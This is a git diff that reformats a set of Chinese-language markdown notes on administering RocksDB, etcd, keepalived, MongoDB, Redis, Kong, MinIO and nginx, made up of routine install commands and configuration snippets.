a/software/db/rocksDB.md +++ b/software/db/rocksDB.md @@ -1,47 +1,60 @@ +--- +created_date: 2022-05-31 +--- + +[TOC] + ## RockDB介绍 -- 源码 - - C++ https://github.com/facebook/rocksdb - - Rust https://github.com/rust-rocksdb/rust-rocksdb +- 源码 + + - C++ https://github.com/facebook/rocksdb + - Rust https://github.com/rust-rocksdb/rust-rocksdb -- 起源 - - 2012年4月。 - - Facebook公司的Dhruba Borthakur在LevelDB上创建了RocksDB分支。 - - 目标是提高服务工作负载的性能,最大限度的发挥闪存和RAM的高度率读写性能。 - - 向后兼容的levelDB API。 +- 起源 + + - 2012年4月。 + - Facebook公司的Dhruba Borthakur在LevelDB上创建了RocksDB分支。 + - 目标是提高服务工作负载的性能,最大限度的发挥闪存和RAM的高度率读写性能。 + - 向后兼容的levelDB API。 - RocksDB 属于嵌入式数据库,没有网络交互接口,必须和服务部署在同一台服务器上。 - 设计思想: 数据冷热分离。 - 1. 新写入的“热数据”会保存在内存中,如果过一段时间数据没有被更新,冷数据则会“下沉”到磁盘底层的“表层文件”,如果过一段时间数据继续没有被更新,冷数据继续“下沉”到更底层的文件中。 - 2. 如果磁盘底层的冷数据被修改了,它又会再次进入内存,一段时间后又会被持久化刷回到磁盘文件的浅层,然后再慢慢往下移动到底层。 + + 1. 新写入的“热数据”会保存在内存中,如果过一段时间数据没有被更新,冷数据则会“下沉”到磁盘底层的“表层文件”,如果过一段时间数据继续没有被更新,冷数据继续“下沉”到更底层的文件中。 + 2. 如果磁盘底层的冷数据被修改了,它又会再次进入内存,一段时间后又会被持久化刷回到磁盘文件的浅层,然后再慢慢往下移动到底层。 - RocksDB对比LevelDB - 1. 增加了column family,这样有利于多个不相关的数据集存储在同一个db中,因为不同column family的数据是存储在不同的sst和memtable中,所以一定程度上起到了隔离的作用。 - 2. LevelDB只能支持单线程文件合并;RocksDB支持多线程文件合并,充分利用服务器多核。 - 3. LevelDB只有一个Memtable,诺Memtable满了还没有来得及Flush刀sst文件,则会引起系统停顿;DocksDB可以根据服务器内存情况开辟多个Immutable Memtable。 - 4. LevelDB每次只能获取一个KV;RocksDB支持批量获取。 - 5. LevelDB不支持备份和恢复;RocksDB支持增量备份、全量备份和恢复。 + + 1. 增加了column family,这样有利于多个不相关的数据集存储在同一个db中,因为不同column family的数据是存储在不同的sst和memtable中,所以一定程度上起到了隔离的作用。 + 2. LevelDB只能支持单线程文件合并;RocksDB支持多线程文件合并,充分利用服务器多核。 + 3. LevelDB只有一个Memtable,诺Memtable满了还没有来得及Flush刀sst文件,则会引起系统停顿;DocksDB可以根据服务器内存情况开辟多个Immutable Memtable。 + 4. LevelDB每次只能获取一个KV;RocksDB支持批量获取。 + 5. LevelDB不支持备份和恢复;RocksDB支持增量备份、全量备份和恢复。 - 目录介绍 - 1. *.log: 事务日志用于保存数据操作日志,可用于数据恢复。 - 2. *.sst: 数据持久化文件。(如果没有生成sst文件可能是因为第一次写数据,数据量小没触发flush操作,数据都在内存的 MemoryTable 中) - 3. MANIFEST:数据库中的 MANIFEST 文件记录数据库状态。Compaction过程会添加新文件并从数据库中删除旧文件,并通过将它们记录在 MANIFEST 文件中使这些操作持久化。 - 4. CURRENT:记录当前正在使用的MANIFEST文件。 - 5. LOCK:无内容,open时创建,表示一个db在一个进程中只能被open一次,多线程共用此实例。 - 6. IDENTITY:id。 - 7. LOG:统计日志。 - 8. OPTIONS:配置信息。 + + 1. \*.log: 事务日志用于保存数据操作日志,可用于数据恢复。 + 2. \*.sst: 数据持久化文件。(如果没有生成sst文件可能是因为第一次写数据,数据量小没触发flush操作,数据都在内存的 MemoryTable 中) + 3. MANIFEST:数据库中的 MANIFEST 文件记录数据库状态。Compaction过程会添加新文件并从数据库中删除旧文件,并通过将它们记录在 MANIFEST 文件中使这些操作持久化。 + 4. CURRENT:记录当前正在使用的MANIFEST文件。 + 5. LOCK:无内容,open时创建,表示一个db在一个进程中只能被open一次,多线程共用此实例。 + 6. IDENTITY:id。 + 7. LOG:统计日志。 + 8. OPTIONS:配置信息。 - 工作流程 ## 机制 + - 并发 - - 一次只能由一个进程打开数据库。rocksdb实现从操作系统获取锁以防止误用。 - - 在单个进程中,同一 rocksdb::DB 实例可以由多个并发线程安全地共享。也就是说,不同的线程可以在没有任何外部同步的情况下写入或获取迭代器,或者在同一个数据库上调用Get(rocksdb实现将自动执行所需的同步)。 - - 在单个进程中,Iterator 、 WriteBatch 等实例可能需要外部进行同步。 + - 一次只能由一个进程打开数据库。rocksdb实现从操作系统获取锁以防止误用。 + - 在单个进程中,同一 rocksdb::DB 实例可以由多个并发线程安全地共享。也就是说,不同的线程可以在没有任何外部同步的情况下写入或获取迭代器,或者在同一个数据库上调用Get(rocksdb实现将自动执行所需的同步)。 + - 在单个进程中,Iterator 、 WriteBatch 等实例可能需要外部进行同步。 ## 指令操作 + ```bash git clone https://github.com/facebook/rocksdb @@ -60,4 +73,4 @@ db_path=~/.aleo/storage/ledger-3/ ./ldb --db=${db_path} scan ./ldb --db=${db_path} list_live_files_metadata -``` \ No newline at end of file +``` diff --git a/software/etcd.md b/software/etcd.md index 62c9442..e5ce501 100644 --- a/software/etcd.md +++ b/software/etcd.md @@ -1,21 +1,31 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + # etcd + - 参考文档 -https://alexstocks.github.io/html/etcd.html + https://alexstocks.github.io/html/etcd.html - 提供一致性服务的分布式系统 - 1. kv键值存储 + 1\. kv键值存储 - etcd 底层的 boltdb 采用 B+ 树形式存储 kv 的 MVCC 数据,每次修改的数据只存储增量版本,所以创建snapshot 的成本挺高的。 -kv 中的 key 是一个三元组 (major, sub, type),Major 存储了 key 的 revision,Sub 则存储了同样 revision 下的差异,type 则是一个后缀,用于指明一些特殊value 的类型,如果当前 value 中有 tombstone 则 type 为 t。 + kv 中的 key 是一个三元组 (major, sub, type),Major 存储了 key 的 revision,Sub 则存储了同样 revision 下的差异,type 则是一个后缀,用于指明一些特殊value 的类型,如果当前 value 中有 tombstone 则 type 为 t。 ## API -1. 查看版本 -curl http://127.0.0.1:2379/version + +1. 查看版本 + curl http://127.0.0.1:2379/version 2. 查看监控数据metrics ## 指令 + ### 访问结构 + ```bash IP=127.0.0.1 ETCDCTL_API=3 //opt/kube/bin/etcdctl \ @@ -32,15 +42,16 @@ ETCDCTL_API=3 //opt/kube/bin/etcdctl \ --key=/etc/etcd/ssl/etcd-key.pem \ endpoint health ``` + 2. 查看所有key -etcdctl --endpoints="https://${IP}:2379" --prefix --keys-only=true get / -关键参数 ---keys-only=true 仅仅查看key ---prefix 查看拥有某个前缀的key + etcdctl --endpoints="https://${IP}:2379" --prefix --keys-only=true get / + 关键参数 + --keys-only=true 仅仅查看key + --prefix 查看拥有某个前缀的key 3. 监听key -etcdctl watch /test/ok + etcdctl watch /test/ok 4. 设置键值 -etcdctl --endpoints="https://${IP}:2379" set /test1/test2 "Hello world" \ No newline at end of file +etcdctl --endpoints="https://${IP}:2379" set /test1/test2 "Hello world" diff --git a/software/keepalived.md b/software/keepalived.md index 1086beb..6294fad 100644 --- a/software/keepalived.md +++ b/software/keepalived.md @@ -1,26 +1,36 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ### Keepalived + - 待补充lvs部分 + 1. 参考文档 - + https://www.keepalived.org/manpage.html - + http://m.elecfans.com/article/700023.html - + https://www.cnblogs.com/clsn/p/8052649.html + + - https://www.keepalived.org/manpage.html + - http://m.elecfans.com/article/700023.html + - https://www.cnblogs.com/clsn/p/8052649.html 2. keepalived:是开源负载均衡项目LVS的增强和虚拟路由冗余协议VRRP实现的集合,为Linux系统提供了负载均衡和高可用能力的服务软件。 3. 模块组成 - - core 模块为keepalived的核心,负责主进程的启动、维护以及全局配置文件的加载和解析。 - - check 模块负责健康检查。 - - vrrp 模块负责实现VRRP协议。 + + - core 模块为keepalived的核心,负责主进程的启动、维护以及全局配置文件的加载和解析。 + - check 模块负责健康检查。 + - vrrp 模块负责实现VRRP协议。 4. VRRP:虚拟路由冗余协议,是一种选择协议,是一种实现路由器高可用的协议。 5. 高可用原理:将N台提供相同功能的路由器组成一个路由器组,这个组里面有一个master和多个backup,master上面有一个对外提供服务的vip,master会发组播,当backup收不到vrrp包时就认为master宕掉了,这时就需要根据VRRP的优先级来选举一个backup当master。通过这个原理就可以保证路由器的高可用。 - 6. Centos安装keepalived -yum install keepalived -y + yum install keepalived -y 7. 文件信息 + ```bash /etc/keepalived /etc/keepalived/keepalived.conf # keepalived服务配置文件 @@ -31,8 +41,10 @@ yum install keepalived -y ``` 8. 配置信息 + - /etc/keepalived/keepalived.conf -```conf + +````conf # 全局配置 global_defs { router_id LVS_DEVEL # 定义路由标识信息,相同局域网唯一/必须配置 @@ -105,8 +117,10 @@ virtual_server 10.10.10.3 1358 { # 虚拟Ip } # real_server 192.168.200.5 1358 {...} -``` +```` + 9. 启动 + ```bash systemctl start keepalived # 配置文件里定义了要使用的网卡和虚Ip,通过以下指令可以看到master的网卡上添加了一个虚IP @@ -114,8 +128,10 @@ ip a ``` 10. ipvsadm + - 是linux下的LVS虚拟服务器的管理工具,LVS工作于内核空间,而ipvsadm则提供了用户空间的接口 -```bash + +```bash yum -y install ipvsadm # 调整默认超时时间 @@ -134,19 +150,24 @@ echo 1 > /proc/sys/net/ipv4/ip_forward ``` 11. 负载调度算法讲解 + - 轮询(rr):将收到的访问请求按照顺序轮流分配给群集中的各个节点(真实服务器),均等地对侍每一台服务器,而不管服务器实际的连接数和系统负载。 - 加权轮询(wrr):根据真实服务器的处理能力轮流分配收到的访问请求,调度器可以自动查询各节点的负载情况,并动态调整其权重。这样可以保证处理能力强的服务器承担更多的访问流量。 - 最少连接(lc):根据真实服务器已建立的连接数进行分配,将收到的访问请求优先分配给连接数最少的节点。如果所有服务器节点性能相近,采用这种方式可以更好地均衡负载。 - 加权最少连接(wlc):在服务器节点的性能差异较大的情况下,可以为真实服务器自动调整权重,权重较高的节点将承担更大比例的活动连接负载。 12. 负载均衡模式 + - 网络地址转换(NAT):类似于防火墙的私有网络结构,负载调度器作为所有服务器节点的网关,即作为客户机的访问入口,也是各节点回应客户机的访问出口。服务器节点使用私有IP地址。与负载调度器位于同一个物理网络,安全性要优于其他两种方式。 - IP隧道(TUN):采用开放式的网络结构,负载调度器仅作为客户机的访问入口,各节点通过各自的INTERNET连接直接回应客户机,而不再经过负载调度器。服务器节点分散在互联网中的不同位置。具有独立的公网IP地址,通过专用IP隧道与负载调度器相互通信。 - 直接路由(DR):采用半开放式的网络结构,与TUN模式的结构类似,但各节点并不是分散在各地,而是与调度器位于同一个物理网络。负载调度器与各节点服务器通过本地网络连接,不需要建立专用的IP隧道。 ### 错误日志 + 1. 路由集群内的virtual_router_id和局域网内的其它路由集群的virtual_router_id有冲突 + - 解决办法: 修改/etc/keepalived/keepalived.conf 配置文件里的 virtual_router_id 值 + ```log Apr 01 17:32:58 garys-126 Keepalived_vrrp[47600]: VRRP_Instance(VI_1) Dropping received VRRP packet... Apr 01 17:32:59 garys-126 Keepalived_vrrp[47600]: (VI_1): ip address associated with VRID 51 not present in MASTER advert : 172.16.212.118 @@ -154,6 +175,7 @@ Apr 01 17:32:59 garys-126 Keepalived_vrrp[47600]: bogus VRRP packet received on ``` 2. 可能是从windows上复制过来的字符问题 + ```log Missing '{' at beginning of configuration block Unknown keyword 'script' @@ -162,21 +184,22 @@ Unknown keyword '}' ``` 3. 警告1 + - 解决办法:在 /etc/keepalived/keepalived.conf 配置文件里增加 script_user -global_defs { - script_user root -} + global_defs { + script_user root + } + ```log WARNING - default user 'keepalived_script' for script execution does not exist - please create. ``` 4. 警告2 -解决办法:在 /etc/keepalived/keepalived.conf 配置文件里增加 enable_script_security -global_defs { + 解决办法:在 /etc/keepalived/keepalived.conf 配置文件里增加 enable_script_security + global_defs { enable_script_security -} + } + ```log SECURITY VIOLATION - scripts are being executed but script_security not enabled. ``` - - diff --git a/software/mail.md b/software/mail.md index a5da34b..90ac3d6 100644 --- a/software/mail.md +++ b/software/mail.md @@ -1,22 +1,31 @@ +--- +created_date: 2024-11-05 +--- +[TOC] ## IMAP POP SMTP -- IMAP 和 POP 是访问电子邮件的两种方法。 -- IMAP - - Internet Mail Access Protocol - - 工作原理是连接电子邮件服务读取新邮件;客户端和电子邮件服务是双向通信的,客户端的操作都会反馈到服务器上。这意味着,你可以从世界上任何地方的不同设备检查电子邮件。 - - 仅在单击邮件时下载邮件,附件不会自动下载。 这样,就可以比 POP 更快地检查邮件。 + +- IMAP 和 POP 是访问电子邮件的两种方法。 +- IMAP + - Internet Mail Access Protocol + - 工作原理是连接电子邮件服务读取新邮件;客户端和电子邮件服务是双向通信的,客户端的操作都会反馈到服务器上。这意味着,你可以从世界上任何地方的不同设备检查电子邮件。 + - 仅在单击邮件时下载邮件,附件不会自动下载。 这样,就可以比 POP 更快地检查邮件。 - POP3 - - Post Office Protocol 3 - - 工作原理是连接电子邮件服务,下载所有新邮件,从电子邮件服务中删除被下载过的邮件。 这意味着,在下载电子邮件后,只能使用同一台计算机对其进行访问。 - - 已发送邮件存储在本地电脑上,而不是存储在电子邮件服务器上。 + - Post Office Protocol 3 + - 工作原理是连接电子邮件服务,下载所有新邮件,从电子邮件服务中删除被下载过的邮件。 这意味着,在下载电子邮件后,只能使用同一台计算机对其进行访问。 + - 已发送邮件存储在本地电脑上,而不是存储在电子邮件服务器上。 - SMTP - - Simple Mail Transfer Protocol + - Simple Mail Transfer Protocol + ## Gmail + 1. 开启IMAP - 1. https://mail.google.com/mail/u/0/#settings/fwdandpop + + 1. https://mail.google.com/mail/u/0/#settings/fwdandpop 2. 生成应用密码 - 1. 需要先开启两步验证 - 2. https://security.google.com/settings/security/apppasswords - 3. 生成应用密码后需要立刻复制记录下来,应用密码窗口关掉后就不能再次查看了。 \ No newline at end of file + + 1. 需要先开启两步验证 + 2. https://security.google.com/settings/security/apppasswords + 3. 生成应用密码后需要立刻复制记录下来,应用密码窗口关掉后就不能再次查看了。 diff --git a/software/markdown.md b/software/markdown.md index 1d14eef..ec24e63 100644 --- a/software/markdown.md +++ b/software/markdown.md @@ -1,7 +1,14 @@ +--- +created_date: 2022-08-24 +--- + +[TOC] + ## Typora + - 历史版本 https://typora.io/dev_release.html - 最后的免费版本 0.11.8 - - Mac https://download.typora.io/mac/Typora-0.11.18.dmg - - Windows x64 - - Windows x32 - - Linux + - Mac https://download.typora.io/mac/Typora-0.11.18.dmg + - Windows x64 + - Windows x32 + - Linux diff --git a/software/middleware-single.md b/software/middleware-single.md index f545f2e..3c8fd8f 100644 --- a/software/middleware-single.md +++ b/software/middleware-single.md @@ -1,7 +1,13 @@ +--- +created_date: 2020-11-16 +--- [TOC] + ### 2. 安装MongoDB/4.0 + #### 2.1 centos7通过yum源安装mongodb + ```shell # 配置yum源 [mongodb-org-4.0] @@ -21,8 +27,11 @@ mongod --auth vi /etc/mongod.conf #修改数据库目录,修改的dbPath参 service mongod start ``` + #### ubuntu16 apt源安装 + - https://docs.mongodb.com/v4.0/tutorial/install-mongodb-on-ubuntu/#install-mongodb-community-edition + ``` wget -qO - https://www.mongodb.org/static/pgp/server-4.0.asc | sudo apt-key add - @@ -32,8 +41,11 @@ sudo apt-get update apt-get install mongodb-org -y ``` + #### 2.2 通过二进制文件安装mongodb -- mongodb官网内的所有版本: https://www.mongodb.com/download-center/community + +- mongodb官网内的所有版本: https://www.mongodb.com/download-center/community + ```shell cd /opt/jadepool-all/mongodb # 下载centos系统的安装包 @@ -61,7 +73,9 @@ PATH=$PATH:${mongodbPath} ./mongod -f /usr/local/mongodb/bin/mongodb.conf ``` + #### 2.3 使用 + ```shell # 创建数据库账户密码(MongoDB 默认安装完成以后,只允许本地连接,同时不需要使用任何账号密码就可以直接连接MongoDB) use admin @@ -75,7 +89,9 @@ mongo IP/数据库名 -u 用户 -p 密码 # 先进行管理员用户的验证,查看所有的用户 db.system.users.find().pretty() ``` + ### 3. 安装Redis/5.0 + ```shell # 下载源码包进行编译安装 curl -O http://download.redis.io/releases/redis-5.0.4.tar.gz @@ -97,7 +113,9 @@ nohup src/redis-server redis.conf > ./redis.log 2>&1 & # 增加密码后连接命令:src/redis-cli -a mypassword # 增加密码后关闭命令:src/redis-cli -a mypassword shutdown ``` + ### 4. 安装consul + ```shell # 单节点安装一个consul即可 curl -O https://releases.hashicorp.com/consul/1.6.0/consul_1.6.0_linux_amd64.zip @@ -109,7 +127,9 @@ nohup consul agent -server -bootstrap-expect=1 -data-dir=./data -node=master -bi ``` ### 5. seed的安装使用 + 1. 安装 + ```shell mkdir data # 初始化seed,设置密码,请务必记住设置的密码,忘记密码将不能恢复。 @@ -118,11 +138,12 @@ mkdir data screen -S seed ./seed --path=./data/ ``` + 2. 查看设置 -./seed --path=./data/ --list + ./seed --path=./data/ --list 3. 配置白名单 -./seed --path=./data/ --config -输入client回车 -输入IP + ./seed --path=./data/ --config + 输入client回车 + 输入IP 4. 设置需要支持的链 -./seed --path=./data/ --data + ./seed --path=./data/ --data diff --git a/software/minio.md b/software/minio.md index 6f508c2..a3373ba 100644 --- a/software/minio.md +++ b/software/minio.md @@ -1,5 +1,11 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] ### Minio + 官网文档 https://docs.minio.io/docs/minio-admin-complete-guide.html @@ -7,13 +13,14 @@ minio的客户端mc https://dl.min.io/client/mc/release/linux-amd64/mc 1. 设置存储桶的访问权限(none, download, upload, public) -mc policy set download minio/test/ + mc policy set download minio/test/ + 2. 查看存储桶当前权限 -mc policy ls minio/test/ + mc policy ls minio/test/ 3. 列出所有的桶 -mc list minioServer名称 + mc list minioServer名称 -4. 查看配置 -mc config host list -配置文件目录 /用户家目录/.mc +4. 查看配置 + mc config host list + 配置文件目录 /用户家目录/.mc diff --git a/software/nginx/kong.md b/software/nginx/kong.md index 5c0e547..afd13dd 100644 --- a/software/nginx/kong.md +++ b/software/nginx/kong.md @@ -1,24 +1,34 @@ +--- +created_date: 2020-11-30 +--- + +[TOC] + - 参考 - - https://github.com/Kong/kong - - https://docs.konghq.com/2.2.x/configuration/ + - https://github.com/Kong/kong + - https://docs.konghq.com/2.2.x/configuration/ - Kong -是由Mashape公司开源的,基于Nginx的API gateway + 是由Mashape公司开源的,基于Nginx的API gateway - 功能 - - 外部流量的路由转发 - - 授权、日志、ip限制、限流、api 统计分析(存在商业插件Galileo等、也可自己研发)、请求转化、跨域(CORS)、其它功能通过lua编写插件实现 + - 外部流量的路由转发 + - 授权、日志、ip限制、限流、api 统计分析(存在商业插件Galileo等、也可自己研发)、请求转化、跨域(CORS)、其它功能通过lua编写插件实现 ## 安装 kong + - 默认端口 - 1. 8000 请求进入端口,kong根据配置的规则转发到真实的后台服务地址。 - 2. 8443 请求进入端口 - 2. 8001 管理端口,插件设置、API的增删改查、以及负载均衡等一系列的配置都是通过8001端口进行管理。 + 1. 8000 请求进入端口,kong根据配置的规则转发到真实的后台服务地址。 + 2. 8443 请求进入端口 + 3. 8001 管理端口,插件设置、API的增删改查、以及负载均衡等一系列的配置都是通过8001端口进行管理。 + ### docker安装 + - 参考 -https://hub.docker.com/_/kong/ + https://hub.docker.com/\_/kong/ ``` docker network create kong-net ``` + ```bash docker run -d --name kong-database \ -e "POSTGRES_DB=kong" \ @@ -30,6 +40,7 @@ postgres:9.6 # default port 5432 ``` + ```bash docker run --rm \ --link kong-database:kong-database \ @@ -40,6 +51,7 @@ docker run --rm \ -e "KONG_CASSANDRA_CONTACT_POINTS=kong-database" \ kong kong migrations bootstrap ``` + ```bash docker run -d --name kong \ --link kong-database:kong-database \ @@ -64,19 +76,24 @@ docker exec -it kong kong reload ``` ### docker/docker-compose 安装 + https://github.com/Kong/docker-kong/tree/master/compose ### k8s安装 + - 参考 - - https://docs.konghq.com/2.2.x/kong-for-kubernetes/install/ + - https://docs.konghq.com/2.2.x/kong-for-kubernetes/install/ + 1. Kong Ingress Controller 将 Kubernetes Ingress 资源对象的路由规则转化成kong的实际配置。 2. kong proxy - ## kong使用 + ### API + - 参考 -https://docs.konghq.com/2.0.x/admin-api/ + https://docs.konghq.com/2.0.x/admin-api/ + ```bash # 查看所有的插件 curl http://localhost:8001/plugins/ | python -m json.tool @@ -93,8 +110,11 @@ curl http://localhost:8001/certificates/${ca_certificate id} -XDELETE # 查看hostname和证书的对应关系 curl http://localhost:8001/snis | python -m json.tool ``` + ## 安装UI konga + 1. 安装 + ```bash dbhost=db dbpass=kongroot @@ -118,5 +138,6 @@ docker run -p 1337:1337 \ # -e "NODE_ENV=production" \ # 如果使用生产模式,则不会自动创建数据库内的任何内容 ``` + 2. web界面配置 -连接kong的管理端口。 \ No newline at end of file + 连接kong的管理端口。 diff --git a/software/nginx/modules.md b/software/nginx/modules.md index 2143bf1..209ed7b 100644 --- a/software/nginx/modules.md +++ b/software/nginx/modules.md @@ -1,4 +1,11 @@ +--- +created_date: 2020-12-08 +--- + +[TOC] + ### GeoIP + ```dockerfile RUN apt install -y nginx nginx-module-geoip # nginx 安装GeoIP数据库 @@ -18,4 +25,4 @@ RUN cd /etc/nginx/geoip/ \ && make && make install \ && rm -rf GeoIP GeoIP.tar.gz # && /usr/local/lib' > /etc/ld.so.conf.d/geoip.conf && ldconfig -``` \ No newline at end of file +``` diff --git a/software/nginx/nginx.md b/software/nginx/nginx.md index 6669c67..ab14f23 100644 --- a/software/nginx/nginx.md +++ b/software/nginx/nginx.md @@ -1,5 +1,11 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] ## 编译安装 + ```bash wget https://nginx.org/download/nginx-1.14.2.tar.gz git clone git://github.com/vozlt/nginx-module-vts.git @@ -22,8 +28,11 @@ useradd nginx --with-http_geoip_module=dynamic \ --add-module=/path/to/nginx-module-vts(根据下载路径自行修改) ``` + - 编译好的安装包 nginx.conf.tar.gz + ## 关键配置说明 + ```conf client_max_body_size 10m; //请求体大小,一般上传文件比较大时会调整 proxy_set_header Host $http_host; //后端代理ingress时必填 @@ -49,21 +58,27 @@ proxy_http_version 1.1; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; ``` + ## 原理 + - 参考 https://www.cnblogs.com/yblackd/p/12194143.html + 1. 工作模式 - - Nginx 采用的是多进程(单线程) & 多路IO复用模型。 - - 多进程的工作模式 - 1. Nginx 在启动后,会有一个 master 进程和多个相互独立的 worker 进程。 - 2. 接收来自外界的信号,向各worker进程发送信号,每个进程都有可能来处理这个连接。 - 3. master 进程能监控 worker 进程的运行状态,当 worker 进程退出后(异常情况下),会自动启动新的 worker 进程。 + - Nginx 采用的是多进程(单线程) & 多路IO复用模型。 + - 多进程的工作模式 + 1. Nginx 在启动后,会有一个 master 进程和多个相互独立的 worker 进程。 + 2. 接收来自外界的信号,向各worker进程发送信号,每个进程都有可能来处理这个连接。 + 3. master 进程能监控 worker 进程的运行状态,当 worker 进程退出后(异常情况下),会自动启动新的 worker 进程。 ## Web缓存 + 1. 客户端在请求一个文件的时候,发现自己缓存的文件有 Last Modified ,那么在请求中会包含 If Modified Since ,这个时间就是缓存文件的 Last Modified 。因此,如果请求中包含 If Modified Since,就说明已经有缓存在客户端。服务端只要判断这个时间和当前请求的文件的修改时间就可以确定是返回 304 还是 200 。 2. 缓存Head https://www.cnblogs.com/everyone/archive/2012/12/04/2801258.html ## 基本的http权限认证 + 1. 按照相关工具 + ```bash yum install httpd-tools -y # 或者 @@ -71,8 +86,9 @@ apt-get install apache2-utils -y ``` 2. 创建登入用户 -htpasswd -c -d /etc/nginx/conf.d/.auth 用户名 + htpasswd -c -d /etc/nginx/conf.d/.auth 用户名 3. 配置nginx + ```conf server { listen 80; @@ -89,6 +105,7 @@ server { ``` ## 跨域 + ```conf add_header Access-Control-Allow-Origin *; add_header Access-Control-Allow-Methods 'GET,POST,PUT,DELETE,PATCH,OPTIONS'; @@ -101,13 +118,15 @@ location / { proxy_pass http://127.0.0.1:8545; } ``` + - 当Nginx和服务端同时设置了跨域的时候,游览器会报如下错。 - - 意思是设置了2次跨域,但是只有一个是允许的,移除其中的任意一个或者在在nginx里进行相关的配置 proxy_hide_header Access-Control-Allow-Origin; - ```log - The 'Access-Control-Allow-Origin' header contains multiple values '*, *', but only one is allowed. Have the server send the header with a valid value, or, if an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled. - ``` + - 意思是设置了2次跨域,但是只有一个是允许的,移除其中的任意一个或者在在nginx里进行相关的配置 proxy_hide_header Access-Control-Allow-Origin; + ```log + The 'Access-Control-Allow-Origin' header contains multiple values '*, *', but only one is allowed. Have the server send the header with a valid value, or, if an opaque response serves your needs, set the request's mode to 'no-cors' to fetch the resource with CORS disabled. + ``` ## 添加请求头 + ```conf location dist/ { add_header Cache-Control 'public, max-age=3600'; @@ -116,12 +135,16 @@ location dist/ { ``` ## 日志讲解 + - https://www.cnblogs.com/Dy1an/p/11232207.html -1. + +1. + $request_time 从接受用户请求的第一个字节到发送完响应数据的时间。 $upstream_response_time 从Nginx向后端建立连接开始到接受完数据然后关闭连接为止的时间。 -2. +2. + ```conf error_log logs/error.log error; # 默认值 # error_log ; @@ -129,11 +152,14 @@ error_log logs/error.log error; # 默认值 log_not_found on # | off; # 是否在 error_log 中记录不存在的错误,默认 on ``` + ## 变量设置 + 1. 方式一 -set $var prod + set $var prod 2. 方式二 + ```conf # map 必须写在 server{} 的外部 # 设置变量domain,根据内置变量$server_name的匹配情况,设置domain为不同的值 @@ -145,38 +171,52 @@ set $var prod ``` ## 4xx返回码 + 1. 499 - - Client Closed Request,服务端还没有返回给客户端,客户端主动关闭连接,nginx就会记录499。 - 1. 例如aws ELB的超时时间为120s,当请求时间超过120s时,ELB就会断开和服务端的连接。 + +- Client Closed Request,服务端还没有返回给客户端,客户端主动关闭连接,nginx就会记录499。 + +1. 例如aws ELB的超时时间为120s,当请求时间超过120s时,ELB就会断开和服务端的连接。 + ## 5xx返回码 -- 参考 + +- 参考 - https://www.cnblogs.com/rxbook/p/9198152.html - https://www.bnxb.com/nginx/27539.html 1. 500 一般是服务器遇到意外情况,而无法完成请求 - 1. 编程语言语法错误,web脚本错误 - 2. 并发高时,因为系统资源限制,而不能打开过多的文件 -2. 502 Bad Gateway错误 - - 502 是指请求的php-fpm已经执行,但是由于某种原因而没有执行完毕,最终导致php-fpm 进程终止。 可能与php-fpm.conf的配置有关。 +2. 编程语言语法错误,web脚本错误 + +3. 并发高时,因为系统资源限制,而不能打开过多的文件 + +4. 502 Bad Gateway错误 + +- 502 是指请求的php-fpm已经执行,但是由于某种原因而没有执行完毕,最终导致php-fpm 进程终止。 可能与php-fpm.conf的配置有关。 + 3. 504 Gateway timeout 网关超时 - - 504 表示超时,也就是客服端所发出的请求没有到达网关,请求没有到可以执行的php-fpm。 可能与nginx.conf的配置有关,也可能是php-cgi进程不够。 - - nginx.conf - ```conf - http { - # 减少fastcgi的请求次数,尽量维持buffers不变 - fastcgi_buffer_size 128k; # default 64k - fastcgi_buffers 4 256k; # default 4 64k - fastcgi_busy_buffers_size 256k; # default 128k - fastcgi_temp_file_write_size 256k; # default 128k - } - ``` - - php 配置 - ```conf - pm.max_children 30; default 10. 保证有充足的php-cgi进程可以被使用 - ``` + +- 504 表示超时,也就是客服端所发出的请求没有到达网关,请求没有到可以执行的php-fpm。 可能与nginx.conf的配置有关,也可能是php-cgi进程不够。 +- nginx.conf + +```conf +http { + # 减少fastcgi的请求次数,尽量维持buffers不变 + fastcgi_buffer_size 128k; # default 64k + fastcgi_buffers 4 256k; # default 4 64k + fastcgi_busy_buffers_size 256k; # default 128k + fastcgi_temp_file_write_size 256k; # default 128k +} +``` + +- php 配置 + +```conf +pm.max_children 30; default 10. 保证有充足的php-cgi进程可以被使用 +``` + 3. 501 服务器无法识别请求方法时可能会返回此代码 4. 503 服务器目前无法使用,通常,这只是暂时状态 -5. 505 服务器不支持请求中所有的http协议版本 \ No newline at end of file +5. 505 服务器不支持请求中所有的http协议版本 diff --git a/software/nginx/rule.md b/software/nginx/rule.md index 6fcf31b..a561f52 100644 --- a/software/nginx/rule.md +++ b/software/nginx/rule.md @@ -1,4 +1,11 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ### 七层反向代理 + ```conf http { upstream backend_service { @@ -17,7 +24,9 @@ http { include /etc/nginx/http.d/*.conf; } ``` + ### 四层反向代理 + ```conf stream { upstream backend_instance { @@ -33,6 +42,7 @@ stream { ``` ### url访问路径规则 + ``` 空 location后没有参数直接跟着URI,表示前缀匹配,代表跟请求中的URI从头开始匹配。 = 用于标准 uri 前,要求请求字符串与其严格匹配,成功则立即处理,nginx停止搜索其他匹配。 @@ -43,6 +53,7 @@ stream { ``` ### http 转 https + ```conf server { listen 80; @@ -52,6 +63,7 @@ server { ``` ### https配置/单向&&双向 + ```conf server { listen 443 ssl; @@ -70,7 +82,9 @@ server { ``` ### IP访问限制 + - 可放在 server 内, 或者在 location 内 + ```conf IP server { listen 80; @@ -86,7 +100,8 @@ server { ``` ### 速率限制 对整个server生效 -```conf + +```conf http { limit_req_zone $binary_remote_addr zone=one:10m rate=8r/s; server { @@ -98,11 +113,12 @@ http { } ``` - ### 默认请求的server + http://nginx.org/en/docs/http/request_processing.html "default_server"参数从0.8.21版开始可用。在之前的版本中,应该使用"default"参数代替。 nginx 的 default_server 指令可以定义默认的 server 去处理一些没有匹配到 server_name 的请求,如果没有显式定义,则会选取第一个定义的 server 作为 default_server。 + ```conf server { listen 80 default_server; # @@ -110,8 +126,11 @@ server { return 200 '请访问garys.top'; } ``` + ### server 的匹配顺序 + Nginx中的server_name指令主要用于配置基于名称的虚拟主机,server_name指令在接到请求后的匹配顺序分别为: + ```conf # 1 准确的server_name匹配,例如: server { @@ -140,7 +159,9 @@ server { ``` ### 